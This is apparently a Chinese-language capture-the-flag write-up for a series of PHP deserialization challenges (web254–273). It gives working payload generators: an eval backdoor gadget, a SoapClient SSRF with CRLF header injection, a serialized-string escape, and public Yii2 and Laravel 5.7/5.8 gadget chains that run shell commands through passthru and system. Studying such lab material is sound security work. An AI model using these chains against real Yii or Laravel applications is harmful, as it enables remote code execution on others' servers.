web254
别看上面乌拉乌拉一大堆,实际上就是要检测你传入的username和password和类中定义的username和password一不一样。所以直接get传参就可以了
payload:?username=xxxxxx&password=xxxxxx
web255
这一关和上一关的区别在于user赋值时会从cookie中获取user的值,并且还将user的值反序列化,所以我们需要将user先进行序列化,序列化的内容为:
完了得到 序列化内容通过cookie传给user,就过关了。
web256
这一关的关键部分
这里是!==要求username和password不能相等,所以我们在创建序列化内容的时候改一下就行。剩下的内容和上一关没什么区别。
web257
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
仔细观察代码我们会发现backdoor类里面有个eval()函数,我们只需要想办法让eval函数执行我们需要的命令就能得到flag,所以我们在反序列化时创建一个 backDoor
类的实例,并且 code
属性包含恶意代码
<?php
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("tac flag.php");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));
web258
这一关把把O:过滤了,可以利用str_replace函数把O:换成O:+;另外本题class用的是public所以要把private改为public构造代码
<?php
class ctfShowUser{
public $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("cat f*");';
}
$b=new ctfShowUser();
$b=serialize($b);
$b=str_replace('O:', 'O:+',$b);
echo urlencode($b);
web259
通关要求是接受一个http协议请求包,数据包其中的x_forwarded_for头信息为:127.0.0.1,且文中出现了explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])这段代码,意为将接受到的数据根据逗号来进行分割并存在一个数组当中,然后又使用了两次array_pop($xff);,对数组末尾元素进行去除了两次。再对$ip的值进行判断,
如果是127.0.0.1则进入else,接受一个post的请求,要求提交的数据中有token,其值要等于ctfshow.
观察页面源代码getflag()并不存在。这个时候就要引出PHP中的一个原生类Soapclien。
SoapClient
是 PHP 中用于访问 SOAP 服务的类。通过SoapClient
类,PHP 可以在 Web 服务之间进行通信,从而实现远程过程调用(RPC)。使用 SOAP,您可以在不同的平台之间共享应用程序和信息,并提供跨语言、跨平台对数据和服务的访问。
Soapclient中的__call魔术方法,当访问类中一个不存在的方法时触发,该方法就会被传递给 __call
方法进行处理,并将其转化为一条SOAP请求发送给 Web 服务。
所以我们需要构造的内容就有:
1.X-Forwarded-For:127.0.0.1,127.0.0.1(其实这里三个127.0.0.1也可以,两个的话array_pop会将数组中的最后一个元素弹出并赋值)
2.Content-Length:(string)strlen($post_string)
3.POST数据:token=ctfshow
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,
'user_agent'=>'chendi^^X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.
'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,
'uri'=> "dwzzzzzzzzzz"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
完了之后get传参VIP的值,但是会发现还没有出现flag,这时我们直接访问flag.txt就会出现flag
web260
不多说什么了,正则表达式匹配,我们直接传参
web261
在php7.4.0开始,如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。 我们不需要考虑__wakeup,
只要满足code==0x36d(877)就可以了。
而code是username和password拼接出来的。
所以只要username=877.php password=shell就可以了。
877.php==877是成立的(弱类型比较)
利用__construct函数把username和password写进去
构造:
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct(){
$this->username='877.php';
}
}
echo serialize(new ctfshowvip());
?>
完了之后直接访问877.php就得到flag了
web262
看完后发现没有和flag有关的东西,不过可以在注释中发现meaasge.php 访问一下
代码最后写明如果token是admin则会输出flag ,要让判断token=='admin'
,序列化的形式应该这样:O:7:"message":1:{s:5:"token";s:5:"admin";}
反序列化出来就是class message{ public $token='admin';}。
正常情况下
<?php
class message{
public $from='d';
public $msg='m';
public $to='1';
public $token='user';
}
$msg= serialize(new message);
echo $msg;
output:
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:1:"1";s:5:"token";s:4:"user";}
但这里我们可以提前闭合,并将token的值改为admin
所以我们将s:5:"token";s:4:"user";分隔开,然后将
s:5:"token";s:5:"admin";
放进去,所以我们进行构造,注意闭合
<?php
class message{
public $from='d';
public $msg='m';
public $to='1";s:5:"token";s:5:"admin";}';
public $token='user';
}
$msg= serialize(new message);
echo $msg;
output:
O:7:"message":4:O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:28:"1";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
但是 会发现这里长度出错了,我们就可以利用前面题目给的fuck变为loveu,来补充这27的差值,一个fuck比一个loveU多一个长度,27个fuck就会多出27个长度
......s:28:"1";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
<?php
class message{
public $from='d';
public $msg='m';
public $to='1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
public $token='user';
}
$msg= serialize(new message);
echo $msg;
output:
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:136:"1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
替换后:
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:136:"1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
payload
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web263
不会,太complex了,多看一眼就会爆炸。
web264
同262
web265
这里我们可以知道,当最后token的值强等于password的时候才会输出flag
我们可以设置this->password的值指向this->token的地址,则可保证password的值与token的值始终强等于。
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = &$this->token;
}
public function login(){
return $this->token===$this->password;
}
}
$a = new ctfshowAdmin('1','1');
echo serialize($a);
output:O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"1";s:8:"password";R:2;}
payload:?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"1";s:8:"password";R:2;}
web266
这里将ctfshow进行了过滤,
关键代码:if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
web267
刚开始一番尝试后,进入这个页面,然后用admin/admin这个账户登录
在这个页面的源代码会发现多了一行,?view-source.访问?r=site%2Fabout&view-source
拿到提示
之后就不会了看大佬的方法 要用这个才能过。
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /flag';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
web268and269
同267的方法
web270
换个链子
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /fl*';
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
web271
考察的是laravel反序列化RCE漏洞,看大佬的laravel5.7的通用链
<?php
//define('LARAVEL_START', microtime(true));
//
//require __DIR__ . '/../vendor/autoload.php';
//
//$app = require_once __DIR__ . '/../bootstrap/app.php';
//
//$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
//$response = $kernel->handle(
// $request = Illuminate\Http\Request::capture()
//);
//@unserialize($_POST['data']);
//highlight_file(__FILE__);
//
//$kernel->terminate($request, $response);
namespace Illuminate\Foundation\Testing{
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test,$app,$command,$parameters)
{
$this->test=$test;//一个实例化的类Illuminate\Auth\GenericUser
$this->app=$app;//一个实例化的类Illuminate\Foundation\Application
$this->command=$command;//要执行的php函数system
$this->parameters=$parameters;//要执行的php函数的参数array('id')
}
}
}
namespace Faker {
class DefaultGenerator
{
protected$default;
public function __construct($default=null)
{
$this->default=$default;
}
}
}
namespace Illuminate\Foundation
{
class Application{
protected $instances=[];
public function __construct($instances=[])
{
$this->instances['Illuminate\Contracts\Console\Kernel']=$instances;
}
}
}
namespace{
$defaultgenerator = new Faker\DefaultGenerator(array("hello"=>"world"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator,$application,'system',array('tac /flag'));
//echo urlencode(serialize($pendingcommand));
echo urlencode(serialize($pendingcommand));
}
完了post传参就可以了。
web272and273
laravel5.8的链子
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection="cat /flag";
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver="system";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
未完待续